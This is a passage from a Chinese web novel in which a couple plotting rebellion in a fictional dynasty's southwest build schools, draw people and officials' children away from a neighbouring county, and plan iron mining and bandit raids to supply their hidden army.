“好吧,其实礼县不少坊里做事的百姓,也都暗地里下苦功夫认了不少字,能当上坊里管事的想来也能在县里做事。” “你的主意自然是好,但也要考虑他们能在礼县安稳度日,为何要拖家带口到清平县来,虽说对外在县里做事名声不错,可朝廷发的那点俸禄还不如我给普通工人的工钱。”没有品级的编制朝廷都不发俸禄,在县里做事,全靠县太爷手里漏一点,那点工钱聊胜于无,多还是从百姓这里扣油水填补。 宋月隐没想到这一点:“是我想差了,人选我再在县里寻摸寻摸。” “嗯,不必着急。”万事开头难,等过了这一阵,事情总能得到解决。 第84章 斗转星移, 不过眨眼的功夫三个月过去。 原本开春还冒着寒气的天开始转热,去岁这个时候,尚柒人正在长安, 算下来, 他和此云认识一年了。 只是一年前他还是个本分的生意人, 一年后, 就成了西南造反的领袖之一,还真是世事无常。 “在伤春怀秋什么?”别此云打门外进来,因为气候回暖,冬日用的狐裘已经收了起来,如今穿一身春日薄衫, 忙起来都免不得嫌热。 “想去岁这个时候咱们刚结识不久, 转眼竟过了一年。”还从长安到了西南。 “你不说我都快忘了咱们认识才一年。”实在是和尚柒成亲后, 二人几乎形影不离,外人看着是新婚燕尔浓情蜜意, 但别此云自己看,还当和尚柒已经相识数载, 方才能有此默契。 “到了西南, 咱们一天分两天用, 的确不止一年。”尚柒笑着走到别此云跟前, “近来有收到长安的回信吗?” “娘和兄长得空就寄信过来, 上一封信已经是一月前的了,想来新的信该是在路上。” 他们离开长安后, 对长安局势却不陌生,不说尚柒和别此云都有自己的人在长安盯着各方动向,基本一月就要寄一封密信回过,单是别景季也是时常在信里说一些朝堂之事。 尤其别家身处漩涡中心, 寄来的信里有不少消息是他们在长安的探子查不不到的。 “咱们离开长安几个月,长安却一直风平浪静,都叫我以为在长安几月的波涛汹涌,是镜花水月了。” 想想尚柒在长安才呆了多久,基本上隔一段时间就要闹出一件大事,谁想他们一走,长安反而诡异的平静下来。 “谁说的,咱们的人不是送了信来,我长安附近的庄子遭了偷袭吗?”广运帝解决完兵营的事,转头还没从手下人那里得到青麦酒背后东家是谁不说,还叫盯住的书墨跑了。 不必想都知道人气的不轻,转头派了人去庄子,他们走的时候庄子已经算是人去楼空,广运帝的人这时候再去,自然什么都没拿到。 “比起接二连三的谋反,咱们这点小情况恐怕入不得眼。” “说不准,广运帝肚量不大,被咱们摆了一道,指不定怒火攻心。”依别此云看,说不得晓得几个逆子谋反都没有这事来的火气大。 “他那身体本就不成,真要是怒火攻心多了,怕很难再熬几年。”皇帝嘛,好吃好喝伺候,整日吃喝玩乐想不高血压都难,上了年纪一个不甚脑卒中,以现在的医疗水平根本没得治。 “咱们还是期盼他多熬几年,不然广运帝一死,其余几位皇子为了皇位说不得要打个昏天黑地,不利于咱们发展。” 顺势揭竿而起容易,但一口气吞吃整个天下,很难实现制度上的改革。 说起改革,如今清平县已经彻彻底底掌握在尚柒手里,县里大刀斧阔的整改目前还没结束,不过私塾已经人满为患。 因为不收束脩,尚柒又有意叫适龄孩童念书,基本上县里的孩子都被送去了私塾,当然了,总有一些顽固份子存在,认为孩子去私塾念书,不如留在家做事。 对于这种人,尚柒有的是办法教训,眼下县里到处都在招工,没有谁不想挣钱的,只要在招工上卡这些不守规矩的人一手,再没有不服服帖帖按尚柒规矩来的。 毕竟跟谁过去也不能跟钱过不去不是。 “近来黄谷县有不少人都到咱们县应聘事做,若是黄谷县过来的人多了,黄谷县的县令该是要寻你了。”西南人口本就不如中原,县城人口也不多,一时间人口都往清平县来,黄谷县的县令是该着急了。 “黄谷县的县令我遣人查过,算不上好也称不上坏,是个做一天和尚撞一天钟的人,他也没有背景,你我在清平县做事只要不将黄谷县的人口全搬迁走,想来是不会多管。” 不说地方上,就是中央也多的是这种升迁无望便不作为的官员,比起贪官这类官略好一些,至少从宋月隐私下送来的消息看,黄谷县的恶人远没有清平县多。 清平县上一任县令迁走,也还在西南任职,尚柒暂时腾不出手找人麻烦,毕竟真要说西南这么多县城,如清平县上任县官一样的官员实在太多,就是砍头一两日功夫都砍不完。 “无欲无求,有些麻烦。”因为兵营就在黄谷县和清平县中间,若人刚正不阿,他们或许可晓之以理动之以情,拉拢到自己营地。 若人贪得无厌,也能抓住把柄,叫人默不作声,偏巧是个无欲无求的。 “不算太麻烦,月隐查了他家人,都在黄谷县,我瞧着他虽不成器,但膝下几个孩子还不错,若能把他几个孩子撬过来替我做事,一切就可迎刃而解。” “你什么时候学的这么坏,竟想出这样的法子拿捏人的软处。”别此云闻言眼中闪过光亮,显然觉得惊喜。 “我为他的子女提供岗位,怎么能算坏?” “你虽不会真动他的子女,但人在你这里,他不得不投鼠忌器是真。”别此云难得见尚柒使坏心眼,整个人都有些亢奋。 “也说不得他的子女会自己往咱们碗里跳,到时候总不能怨到我头上。” …… 黄谷县。 近几个月县里最热议的莫不过隔壁县,清平黄谷两县隔的不算远,有些县里人家也相互嫁娶,平日两县要是发生什么大事,回家走街串巷的娘子郎君总会向家里人提起。 不多时,热闹就能在两县传开,也是时下各地封闭,平日无事发生大家伙连茶余饭后闲谈都谈不出个所以然。 几月前,清平县县令换人,清平县就一直是黄谷县的重点关注对象,从清平县几家富户被抄家到县里村里开办私塾,让家里孩子能免费上学,都在黄谷县引起了轩然大波。 甚至有些人家眼热,都想把自家孩子送去清平县念书。 别说,有不少在清平县有亲戚的,还真把这事办成了,毕竟清平县对来念书的孩子都是来者不拒,只是私塾没有宿舍,每日念书的孩子都要回家睡觉,没有歇脚地盘,孩子总不能来回两县念书。 单是马车,都要走上一日多时间,想在清平县念书,势必要有个落脚地。 “也是清平县命好,上一个县令只晓得贪钱,当时我们还道亏得咱们县令是个好的,虽然平日不管事,但也不曾和富户勾结,残害咱们百姓。 这会子,清平县新县令一来,直接把咱们县比过去了,我也想送我家小子去私塾念书,能认识几个字也是好的,这样签契书的时候,也不怕旁人哄了去。” “你当我不想,你没听嫁去清平县的人回来说,不单单是小子,就是小哥儿小丫头也是要去私塾念书的,家里但凡不给送的,县里招工都不招他们家。” “唉,也不晓得咱们县什么时候也建个私塾,不说免费,就是给些束脩也是愿意叫我家孩子去的。”实在是寻常人家想要学几个字,是顶了天的难,笔墨纸砚哪个不金贵,读一年书,一大家子几年的花销搭进去都不够。 “咱们县就别指望了,还是想想怎么把孩子送去清平县,我想着家里在清平县也没个亲戚,但当家的要是去清平县做事,租个县里的小单房,家里小子也能跟着落脚,这事没准能成。” 问题总比办法多,租房钱肯定是要花的,但比起做工挣的工钱,又算不得什么,更不说家里孩子还能跟着读书。 “那你只租一间可不够,去了清平县自然要守清平县的规矩,只送你家小子去念书,家里的丫头和哥儿留下,恐怕你当家的活都做不下去。” 清平县的规矩清平县人都得守,外来务工的难不成还能钻空子? 这话一出口,原本打算占便宜的娘子郎君一时间纷纷语塞,要说清平县肯定不知道她们黄谷县人的具体情况,对外说家里只一个小子,难不成清平县的人还要到黄谷县专门确认不成? 可话又说回来,她们这头瞒天过海,万一哪家眼酸的去清平县告她们一状,事情败露了怎么办? 藏着心思的人不少,但总有艺高人胆大的打算偷偷试试。 这不县里私塾门口,等学生报名的管事就遇上黄谷县过来的人家。 “黄谷县人?家里一共几口?”清平县如今孩子都在私塾,管事近来接待的无意不是黄谷县过来求读书的。 “加上爹娘和诸位兄弟,一共十七口,我家就这一个孩子,眼下正在县里做工,就想着把孩子送过来跟着学几个字。”说话的汉子瞧着老实巴交,但眼睛滴溜溜的转动,不知道藏着什么事。 “姓什么?家住哪里?”管事不管人说的是真是假,只管按照流程走。 “送孩子念书还要登记这些么?”老实汉子暗道不好,真要是透露家住哪里,万一人上门查看情况,不就露馅了。 “自然要登记,你是黄谷县的人,咱们县令没有你们县的黄册,总是要登门瞧一瞧你们说的是不是真话。”管事冷眼说着,“万一有人想占便宜,不守咱们县令的规矩,也好揪出来以儆效尤,好叫人知道咱们县的便宜不是那么好占的。” 老实汉子闻言额头冒汗,几乎不敢对上管事的眼睛。 “还要登记吗?” “不、不必了,小的这会内急,先去解决解决,之后再来。”说罢,人带着孩子一溜烟就跑不见人影。 第85章 “东家为何要盘查黄谷县过来的人是否说的是真话, 是担心咱们县的百姓知道外县来的不必守咱们县的规矩,私下抱怨吗?” 宋月隐自然是认为家里孩子都送来念书最好,这样就能看出谁有本事为东家所用, 但黄谷县在隔壁, 不如自家县里好探查, 真要一家家排查, 不说引不引起黄谷县县令关注,单是人手就要派出去不少。 “这是一方面,另一方面,家里几个孩子都要过来念书,一个大人跟来怕是不够, 而来的人多了想必不愿意坐吃山空, 必要在县里找活做, 不说能够解决眼下的用人荒,单是这些外来人口在县里租房, 也能叫县里百姓多几分收入。” 尚柒承认,他就是在撬黄谷县的人口, 时下刚起步, 清平县的人口堪堪够用, 但等再发展两三月, 清平县人数就不够看了。 宋月隐闻言点头, 东家考虑的的确周到,虽说想要家里孩子念书, 必然须得将全家孩子都送过来,会拦住一部分人,但眼下清平县的私塾能够教授的人数也有限,不然求学者过多, 教书的先生也忙不过来。 “那,东家,咱们什么时候去撬黄谷县县令的墙角?”黄谷县一日不归东家手里,兵营的将士们就不能轻易出动,不然黄谷县县令一定会察觉。 “不急,你不是已经打探清楚了,邹县令家庶出的小哥儿私下在县里活动,想必也是位有野心的人,前不久邹县令似乎有意和县里富户结亲,而这位邹小哥儿就是人选。”在尚柒看,真是良才美玉主动出击,方能俘获人心。 寻常人才还是自己送上门更好。 “但咱们也查过,黄谷县大部分富户还算老实,邹县令名下儿女不少,庶出更是分不到什么资源,能嫁到富户家去,虽辱没了门第,但钱肯定不会少。” 邹县令小户之家,靠那点俸禄必然是养不活一大家子的,正头夫人生出来的孩子还好说,妾室出身的孩子,说不得还不如县里富户姑娘哥儿日子过得好。 “若你是邹小哥儿,眼下有两条路,一条是嫁入富户之家,一条是到清平县可自己谋个职位,你选哪一个?” “东家难道还不清楚你捡回来的人都是什么性子么?我必然是咬碎牙都要选第二条。” 第一条富户之家,听着好听,实则要看嫁的是不是嫡子,若是庶子分家的时候能得几分财产? 再一个嫁人之后,就要看夫君品行,若是个孬种,想改嫁都来不及。 “你选第二条是因为有野心,偏巧邹家的小哥儿也不缺野心,那他为何要选第一条不选第二条。”又非是青梅竹马,两小无猜,二人半点情谊都没有,说不得亲事还是邹县令为了银子卖哥儿。 “理是这么个理,但邹小哥儿顶多能在黄谷县自由活动,想要瞒着他爹来清平县,没那么容易。”宋月隐想着要不私下帮人一把。 “之前没有,但过几日就有了。” …… “黄谷县多水,村里有不少养鸭养鹅的,因为养的人多,县里买鸭蛋鹅蛋,都没比鸡蛋贵多少。”黄谷县一村落的村长正殷勤的跟着一队人身后,向为首的哥儿介绍村子里的情况。 “若我每月都要大量收鸡鸭鹅,各个村子可供应的上?”书墨询问身边的村长。 “不知小哥儿一月要多少,虽说鸡鸭鹅长的比猪快,但打小养,怎么也要三个月才能接上。” “老丈,我一月要的鸡鸭鹅没数,你们能出多少,我都收,到时候可以签个契书,不怕买卖不成。” “不知小哥儿要这样多鸡鸭鹅是做什么?”村长还是有几分见识,不轻易被糖衣炮弹哄了去。 “老丈有所不知,我家公子在清平县做生意,打算开个酒坊和成衣坊,坊里做事的工人多,平日包饭须得给足油水,鸡鸭鹅比起猪来的便宜,骨架热油酥过,也能囫囵吃下去,偏清平县河水不如黄谷县多,乡下养鸭鹅的少,只能来就近的县城看看,有没有法子多收购一些。” 村长听了,虽半信半疑,但的确像是做长久生意的,不过:“却是不知你家公子是哪一家,清平县和黄谷县历来亲近,我也认识不少清平县的贵人。” “时下清平县的贵人可没几个了。”书墨浅笑看着村长,果不其然人面色微变,显然也是知道清平县的变故。 “小哥儿勿怪,实在是咱们农户被骗怕了,只怕你这头要鸡鸭,村里各家各户都养起来,隔几个月又不要了,岂非是砸在手里了。” “老丈说的是,我家公子姓别,非是清平县本地人,前些时日从长安过来,想着在本地做些生意,老丈若是怕我们跑了,只管先遣一些人跟我过去清平县认认门,到时候若毁了约,只管找上门过问就是。” 村长沉默了片刻,长安是大历国都,哪怕是偏僻之乡也听说过名字,像黄谷县这等小地方,还真没出过能去长安的人。 近来从长安过来的,只有清平县县令一家。 “老丈且考虑考虑,这几日我都在黄谷县,也不止问你一家村子,等考虑好了,只管去县里客舍报别家的名字。” 书墨说罢也不多留,他还得去其他几个村子走一趟,这头人一走,村长就聚集村子里的人商议,毕竟这也算全村的大事,光他一个村长拍板不了。 如此几日过去,黄谷县来了个清平县的大户人家,要大量收购鸡鸭鹅的消息不胫而走。 连县里有些在小户养鸡的娘子郎君都打听,看人收不收散鸡。 县里的地方小,一般人家就养一两只,平日喂些糠壳就放去巷子自己觅食,家里也不缺鸡蛋吃。 若人家愿意收散鸡,有心的娘子郎君也可多养两三只,隔三月一卖,也算是一份收入。 书墨自然来者不拒,毕竟他这是打着给坊里采买,实则是给山上的人经营一条稳定的肉类供应线。 清平县不必说,公子和姑爷已经筹划起来,但光靠一个县的肉类养活五千精兵,无异于痴人说梦。 就是加上黄谷县也不够,还得去更远的地方采买。 “大人,这清平县的人都做生意到咱们头上了,咱们真的不管一管?”黄谷县县丞是受不了外人欺负到头上。 也不知清平县的县令是哪里来的大户,没事充大头不说,还把他们县的人口都吸走不少,这会又要他们收他们县的鸡鸭,村里的禽兽都送去清平县了,黄谷县的百姓吃什么。 要他看,这又是清平县县令耍的手段,为的就是把黄谷县的人口全挪到清平县去,等今年秋收,清平县人口一多,秋税不就上去了。 “我管?你没听人来历吗?长安过来的贵人,你我但凡出个面,都能被当出头鸟打了,我看你是清静日子过太久了,不知道官场险恶。” 邹县令步入中年,越发没有上进心,实在是县令位置他都打了几个转了,也不见有升迁的机会,如今他是看开了,这县令怕是要坐一辈子了,不求有功但求无过,安安稳稳等到辞官那日,也算是人生圆满。 “大人,不过是长安来的,真要是有本事怎么可能被发配到应州这等苦地,要我说也是夸大其词好叫外人不敢忌惮。” 邹县令冷哼一声:“我看你是在黄谷县没挪过窝,不知道人家在长安手眼通天是什么模样,今日你要是敢得罪别家的人,我保管你祖宗十八代的坟都要叫人给扬了。” 邹恒最厌蠢材,他常年在西南为官,虽不曾去长安,但也知道长安贵人哪怕和他平级,也不是他能招惹的,更不说别家,只要有点人脉细打听一番,就知人在长安是何等的威风,也就只有眼前这等井底之蛙以为人好对付。 县丞从不见邹县令发这么大火气,一时间被吓的不敢吱声,得了县令挥手,灰溜溜的跑走。 其实真要说气,那肯定还是气的,毕竟人尚县令为了政绩撬的是他的政绩,奈何形势比人强,他只能睁一只眼闭一只眼。 只是邹县令没想到的是,他闭的那只,正好没看见自己人的小动作。 “小桑,打听清楚没有?”邹家的小哥儿前不久定了亲事,按说该老实在家绣嫁衣,但自打清平县的消息一而再再而三的传入黄谷县,邹小哥儿再没碰过针线活。 “打听清楚了,清平县衙的确在招人,只要能识文断字不论男女都能去应聘,只是原本清平县识字的人家大多都下了狱,几个月了都还没招满。”叫小桑的小哥儿放在外院得了未婚夫的话,就匆匆赶回内院:“公子,你虽认字,但清平县咱们人生地不熟的,去了万一遇上什么事怎么办?” “清平县县令初到,就把县里地痞流氓抓了个遍,连娘子郎君都上街找活做了,能出什么大事。” “可是——” “没有可是,我若不走,就得嫁给那个酒囊饭袋,上次出门遇见,他连字都认不全,这样的儿郎嫁过去,能有什么好日子。” 做生意,须得脑子灵光,就他爹选的这位,若是傻头傻脑也就罢了,毕竟这样的人好拿捏,偏还是个混不吝,还没娶正夫,屋里已经有几房妾室,这样的人万不是良配。 “但咱们去了,老爷夫人派人过来抓咱们怎么办?” “我若能进衙门做事,也算是正经小吏,我爹只怕是不敢为了我得罪清平县县令的。”至于亲事,邹家愿意和富商结亲那是给脸,就算是半道反悔,难不成人还能上门讨要说法?到底权比钱重要。 第86章 先前和东家谈话还言犹在耳, 谈论对象却已经站到宋月隐跟前,瞧瞧眼前来面试打扮利落的小哥儿,半分也看不到内敛羞涩。 不管人这份表现是真是假, 但能舍家到清平县来, 至少说明人胆子够大。 “邹清, 你面试过了, 明日可到衙门报道,最初会有半月的试用期,只看你能不能做好这份差事,不过能过了面试的人,大都不会差, 就算是不成, 这半月工钱也是会结的。”宋月隐先把丑话说了。 “宋姐姐放心, 我定努力留下。”邹清说罢,面露几分迟疑。 “还有什么要问的, 只管说。” “听闻衙门上值,可安排住处, 那我能带人一块住吗?”邹清逃家, 手里捏了这些年攒下的银子, 不多但也够他在清平县租个房子住, 但想着日后家里必不会再给他钱, 这点银子还是能省就省。 因为尚大人不住县衙后院,后院改造成职工宿舍, 平日里在衙门办差的人都能分得一间,却是不知能不能带人一块住。 “可以是可以,但平日不能去县衙前院。”宋月隐知道邹清身边跟了个伺候的小哥儿,这点通融还是能办到, 毕竟县衙后院和前院已经经过工人改造,没有腰牌的人没法从后院去前院。 “这个自然,多谢宋姐姐。”邹清长舒一口气,想着小桑跟来,也是怕把小桑留在家里,被父亲责打。 见人离开县衙,宋月隐来了一趟东家办公的地方。 “东家,人来了。” “怎么样?瞧着可还合心意?”尚柒不意外邹家小哥儿到来。 “还没见过人的本事,不好妄下定论。”邹清若是做的好,清平县县衙这一块的事大多都能给他负责,宋月隐也能腾出手在应州做事。 “我看人的本事一向不差,想来邹小哥儿必能当重任,等县衙诸事能够交给他了,你去应州城一趟。”尚家的大部分产业也在往应州移动,但清平县终究是小地方,没那么多人口,便是大部分产业搬过来也转不开。 于是退而求其次,许多产业都搬到应州城,不说别的,就说眼下私塾用的笔墨纸砚都是应州城送来的。 “可是应州有什么大事?” “平王遣了人到西南调查私兵消失的事,蔺肃办事我信没有留下尾巴,但就怕有人顺藤摸瓜查到清平县来,你且去糊弄糊弄他们。” “平王兵力被偷都过去大半年了,这会子才想起来要调查,是不是太晚了?”宋月隐憋着笑,不说别的,就是当初他们的人真留下了尾巴,大半年过去,早摸不到线索了。 “广运帝自打派遣各路人马搜查几位皇子封地,几位皇子就难得安分守己,眼下遣人调查,只怕是广运帝终于撤了在长安盯着几位皇子动向的人。” 尚柒早知道平王咽不下这口气,毕竟辛辛苦苦养出来的兵马,其中不知投入了多少人力物力,转眼竟然销声匿迹了。 比起西南哪家势力偷家,还不如被广运帝查出来,肉起码是烂在自己锅里。 “也不能这样说。”别此云听尚柒下值后重提此事,道,“五千兵力消失的无影无踪,说明西南想造反的不止他一家,他不光心疼兵力,更多的还是想要找到究竟是谁在西南谋反。” “真要查,那西南大部分人都不干净。”尚柒可是最清楚西南情况不过,别看地方豪强个个老实,私下里指不定都屯枪屯粮,兵力虽不敢大张旗鼓囤积,但他们有的是办法将青壮合理收归己有。 田间佃户,藏匿的隐户,以及庄子上养的打手,算下来也都有千人之多。 “平王封地就在西南,自然清楚西南的情况,只是他没想到竟有人敢胆大妄为直接偷了他的兵力,且时机正好在广运帝遣人到西南探查的时候。” 这不明摆着西南偷他兵力的势力和长安有关系,至少长安这头有这股势力的眼线,只地方势力谋反,平王大抵觉得人不成气候,毕竟五千人,又非皇家血脉,光是西南边境的守军就能解决。 但要是和长安扯上关系,事情就复杂了。 “不管平王怎么想,咱们都要将平王的人马赶出西南。”从清平县到应州再到西南的发展路线,是尚柒和别此云早前定下的,平王早晚会成为他们在西南发展的拦路虎。 与其到时候跟人对上,不若寻机会先废除平王的王位,好还整个西南清净。 “废除平王的事不急,眼下咱们在清平县还要久留一段时日,至少一年内平王对咱们没有任何威胁。”别此云对平王此人的评价也不高,这人算是诸位皇子中最无能的一个,耗费太多精力和人对上,得不偿失。 “眼下咱们还没什么把柄能掀起平王和广运帝的矛盾。”废除王位终究是还是要广运帝出面。 “真想要废除平王,可以借太子的手,太子比咱们更想要他的诸位兄弟下黄泉。”先前出局了一个无伤大局的庄王,并没有影响太子和诸位兄弟之间的争斗。 “有机会太子肯定愿意添油加醋,但太子要是翻车,别家也会跟着一起倒霉。” 别家在长安,也叫他们投鼠忌器。 “二堂兄于禁军做事,也是广运帝给别家的一个信号。”别此云轻声道,别家跟随太子,是广运帝撮合,这会子又遣了别家人到禁军。 要么就是广运帝已经属意太子接班,要么就是给别家留后路。 “天色已然不早,咱们谈了这么久正事,且还是说说闲事的好。”别家眼下是他们无法解决的问题,继续说下去徒增烦恼。 “什么闲事?” “谢琅送了信过来,说是今年中秋将要成亲,算时间咱们也回不去长安,该是想想送什么给他做贺礼。” 离开长安之际,还问过谢琅什么时候成亲,没成想还不到一年就要举行婚礼。 “这是好事,你我成亲的时候,他送了两份贺礼,咱们也得回两份,我手里有一批上好的葡萄酒,可送去当贺礼。” 时下葡萄酒昂贵,且别此云酿出来的葡萄酒又比大历的酒水好上数倍,送去谢琅喜宴上用,也算得上是大手笔。 “你送酒,我就只好送药材了,我手里正好有两只上了年份的老参。”上了年份的药材都是可遇不可求,千年人参这种尚柒只听过没见过,不过过百年的野参还是能寻到。 “除去这两样,咱们还有什么能送的?”无论是葡萄酒还是老参,都不是小手笔,但瞧着礼好似还有点薄。 “布匹如何?蜀锦一匹难求,冰蚕丝也正好夏日用,当然这些谢家肯定不缺,但当个搭头也不算差。”要说实用,尚柒肯定还是觉得棉布实用,但棉布成衣可当平日来往的小礼,新婚贺礼都是要唱出来的,他们不怕落面子,就怕有人议论谢琅交友不慎。 “差不多就这些,若还不够,可寻一些好玉来,做成珠串或同心佩。”西南的玉矿也不少。 “够了,只是先前谢琅说过来西南游玩,如今成亲了,只怕要爽约了。” “也不尽然,谢琅一惯不受拘束,世家间像你我成亲这样双方乐意的很少,大部分能表面相敬如宾都是好的。”谢家子的亲事自己说了不算数,“他信上可说了是和哪家结亲?” “崔家的公子,崔渠,你可听过?”谢崔算是门当户对。 “不曾听闻。”别此云摇头,要说一般世家公子贵女他没听说过,很正常,因为他压根不去参加宴会,认识的人自然不多。 但像谢崔这等门第,孩子还小的时候就习惯性的替人扬名,尤其是公子贵女,名头越大前来求亲的人身份才会越尊贵,凭借别此云在长安的情报网,不可能一点印象没有。 “许不是崔家主脉。” “那谢家不可能让谢琅和人成亲。”谢崔两家势均力敌,成亲自然也是要选一样身价的人,谢琅虽然行十三,但是正经谢家嫡系,崔家若是以庶子或旁系敷衍,岂非是落了谢家颜面。 “谢琅信上没有多提,想来其中有什么隐情,这算是谢琅的私事,咱们还是不打听为好。” 别此云点头,他虽好奇,却也不是非要刨根问底。 “说来,你想过日后咱们真的回了长安,要拿谢崔这等世家怎么办?” “世家之所以闻名于世,核心还是他们垄断了知识和土地,当知识不再是世家专属,世家没落是可遇见的,至于土地。”尚柒虽没往下说,但别此云也明白,要么世家识相,要么动用武力。 真若动武,他们和谢琅的关系怕再不复以往。 “虽说造反需要未雨绸缪,但咱们眼下莫说是长安,就是西南都还不足以吞下,那么久远的事不必现在烦恼,说不得会有新的转机呢。”尚柒打断人的胡思乱想,亲昵的亲了一下人的额头。 “的确,未雨绸缪一向是你的差事。”别此云抛去脑海中的念头,转头吻上尚柒温热的嘴唇,“明日我想偷闲,今夜可晚些时候休息。” 尚柒闻言挑眉:“想要多晚?” 别此云暗笑,这人报复心怎么这么强,明明羊腰的事都过去几个月了,每每夜里亲密,都要旧事重提。 “这就看夫君本事了。”别此云凑近尚柒耳边,吐着热气。 第87章 翌日, 清晨。 别此云醒来的时候,床上另一个人的温度已经散的差不多了,可见尚柒已经去了衙门, 他贪恋的在床上磨蹭了一会, 眼瞧着外面已经要到午时了, 才不情不愿的起身。 昨日胡闹的有些久, 人不免有些懒散,说是今日偷闲,其实是闲不下来的,主要是他一个人,尚柒肯定不许他随意出清平县。 不过周围也没什么有名的景点, 他就是带上部曲出门也不知道去哪里游玩, 还不如在院子里处理正事。 正午厨房已经做好了饭菜, 琴砚算着时间取来,天候还不热, 桌上的菜也都按着别此云的胃口做的。 “县里的人口核算完了吗?”别此云慢吞吞的挑拣桌上的菜,非是胡娘子的厨艺不好, 实在是他才醒没多久, 胃口还没打开, 这会吃东西也是勉强。 “已经核算完了, 和黄册上差的不多。” 只是黄册登记的混乱, 不少孩子因为年幼都没登记,好在因为私塾的缘故, 清平县十五岁以下的孩子全都已经记录在册。 应州处西南,是实打实的下州,整个州不到两万户,清平县于应州不起眼, 县内人口不到两千户,换到中原富庶县城,一个县五千户都是有的。 黄谷县和清平县大差不差,县里情况也差不多,两县一块还够不上中原富县的人口。 人口稀疏自然很难发展,如今县里除开他做生意需要招人手外,衙门也急缺人手,修路、造渠,修建水库等公共建设就要大量青壮参与。 眼下连上了年纪的老人都被征去扫街做事,可以说县里没一个闲人。 “先前寻的看矿脉的师傅,可有结果。”西南多山,但也不是每座山都产矿,想要在野外寻矿脉,是个需要经验和时间的活计。 “说是确定有一处可能有矿,只等进一步探查确定。”寻矿脉的师傅都是老手,说有那基本就是有了。 “有说是什么矿吗?”铁矿、铜矿、煤矿都是可能的,不过不管什么矿他们都缺,能摸索出来都是来者不拒的。 “还没消息,不过很大可能是铁矿。” 别此云点头,若是铁矿,除去开采,冶铁锻造也得跟上,他对这方面的知识知之甚少,但也清楚时下的冶铁工业不算好。 他们冶铁技术要是能够超过大历冶铁技术,战场上他们的优势会很强。 …… “是铁矿,不过瞧着是个小矿。”尚柒得到铁矿的消息,还算惊喜。 “铁矿位置处深山,为了安全采矿的矿工不能随意离开,还要修一条能够运输的好路。”别此云在舆图上比划。 大历是禁止私下采矿的,开采铁矿的工人就要口风严谨,若招工难免走漏风声,毕竟逢年过节也不好不叫人回家。 “不能招工是个麻烦,咱们牢里虽满了,但一部分秋日前要送去长安,一部分妇孺做不得这些活计,剩下的人不够采矿。” 清平县人口拢共就那么点,犯事的终究是少数,大部分百姓还是安分守己,靠囚犯挖矿有点难。 “咱们也不能向其他县借犯人,看来还是要打山匪的主意。” “等彻底解决黄谷县的麻烦,的确该叫军营的人多出门走动走动,还需要躲着点平王的人。” “想来有樊泊在,这些都不算问题,咱们可以将应州境内有名的山匪寨子标出来,叫樊泊挑着打。” “可以。” —————————— “西南的山匪多不成气候,因为地方豪强就是最大的土匪,余下自立山头的土匪,要不是活不下去干脆做了这掉脑袋的勾当,要不就是游手好闲之徒,不事生产打杀抢劫后聚拢在一块。” 蔺肃对樊泊几人介绍西南山匪的情况。 “东家这回叫你们剿匪,也非是说要把人全都给杀了,你们晓得眼下各处都缺人手,尤其是新发现了一处矿脉,需要大批青壮去开采。 但东家的意思是雇佣寻常百姓容易走漏风声,不若多抓些本就犯事的人去做,也算废物利用。” “是一个都不能杀吗?”禄石也算是剿过匪了,但都是清平县附近百里的小山匪,带上一小队人马,就能荡平,算不上什么难得。 可就是小土匪,他也见识了人心的险恶,小匪窝里或许不到二三十人,但手里个个都可能沾有人命,更不说匪窝还有抢来的娘子郎君。 这样的人,照禄石看是不配活下去的。 “哪有这样严苛,不过是叫你们不要见人就砍,再说了将在外军令有所不受,真要是穷凶极恶之辈,留了一条命反倒害了自家兄弟,那不是本末倒置吗?” 樊泊闻言跟着松了口气,他如今凭借一身武艺在军营中得了名声,但到底没有带人出去作过战,眼下东家突然要他们去剿匪,正好是他表现的机会。 “有蔺管事这句话,我们自当放开手脚去做。” “别高兴太早,你们也晓得咱们这队人马是偷平王的,眼下平王在西南遣人调查此事,你们要出兵必要躲过平王的眼线,不然被平王抓住了把柄,顺藤摸瓜寻了过来,东家还要替你们扫尾巴。” 蔺肃话里告诫,这次出兵非是大规模行兵打仗,只要不路过主要城池,一般也出不了问题,但就怕这些汉子出门后心大,没个警惕。 “蔺管事放心,依西南的地形,只要咱们避开主要的城池,基本不会叫外人发现踪迹。” “我自然是放心的,毕竟真要是被发现了,东家找的是你们的麻烦,又不找我的麻烦。”蔺肃颇一副死道友不死贫道的风范。 “……蔺管事,咱们还没出兵你就急着撇清关系,是不是太小看兄弟几个了。”禄石自认为还是有几分本事的,不然禁军这样多人,东家怎么偏偏选中他撬墙角。 “不是我小看你们,而是我本就是拉到军营凑数的,行兵打仗可以说毫无头绪,眼下剿匪也算是战场了,我顶多给你们搞搞后勤,其余的都得你们顶上。” 自樊泊入军营后,蔺肃将大部分军营的差事都慢慢交给樊泊,他自个儿除了管管后勤外,都是替山下的东家处理麻烦,想来要不了多久他就会被东家调遣到山下做事。 “蔺管事放心,这次剿匪,我必带领诸位兄弟凯旋而归,俘虏也决计不会少。”樊泊虽然晓得东家重用他,但一到军营,几乎没熬什么冷板凳就给了他极大的权力,可见东家对他的信任。 他自然要对得起东家这份信任,好好发挥自己的本事。 “那我就在军营等诸位凯旋归来。”蔺肃说着拿起东家给的舆图和军营的名册,“这次出兵要带哪些人,你们可自己商议,明日一早就要校场点兵。” “是。”营帐内齐声应答可见其气势,送走诸位领队,蔺肃站在西南的沙盘前,眼下小打小闹总有一日会成为燃尽西南的烈焰。 黄谷县。 邹县令得知自己的哥儿逃去清平县,还进了县衙门做事,整个人又气又慌,气的是孩子竟然敢忤逆他,慌的是不知尚柒打的什么主意。 从来没听说县衙门还招收姑娘哥儿的,但衙门除开为首三个官阶,其余都是不入流的小吏,哪怕是叫杀人犯当了,中央也管不到地方官员头上。 西南又是天高皇帝远的地方,尚柒就是当真叫整个衙门做事的小吏都换成姑娘哥儿,外人也说不得什么。 可偏偏选中了他的孩子,这就耐人寻味了,他自然是不信没人相助他家孩子能如此顺利到清平县。 算时间,正好是清平县大户到黄谷县签订鸡鸭契约的日子,原他以为尚柒打的是他政绩的主意,现在看,分明是打的他孩子的主意,甚至可以说打的是他的主意。 “我又不是他为官路上的拦路虎,为何想着要拿捏我的软处。”邹县令实在不大明白尚柒。 “老爷,不好了。”门外传来惊呼,只见长随满头热汗的跑来。 “发生什么事了,如此惊慌,难不成是有山匪打来了?”邹县令呵斥长随,慌慌张张不成体统。 “老爷,两位公子和小姐不见了。” “什么!”邹县令重重一拍面前的桌案,前些时候才走了一个哥儿,今日竟连余下的哥儿丫头都不见了? 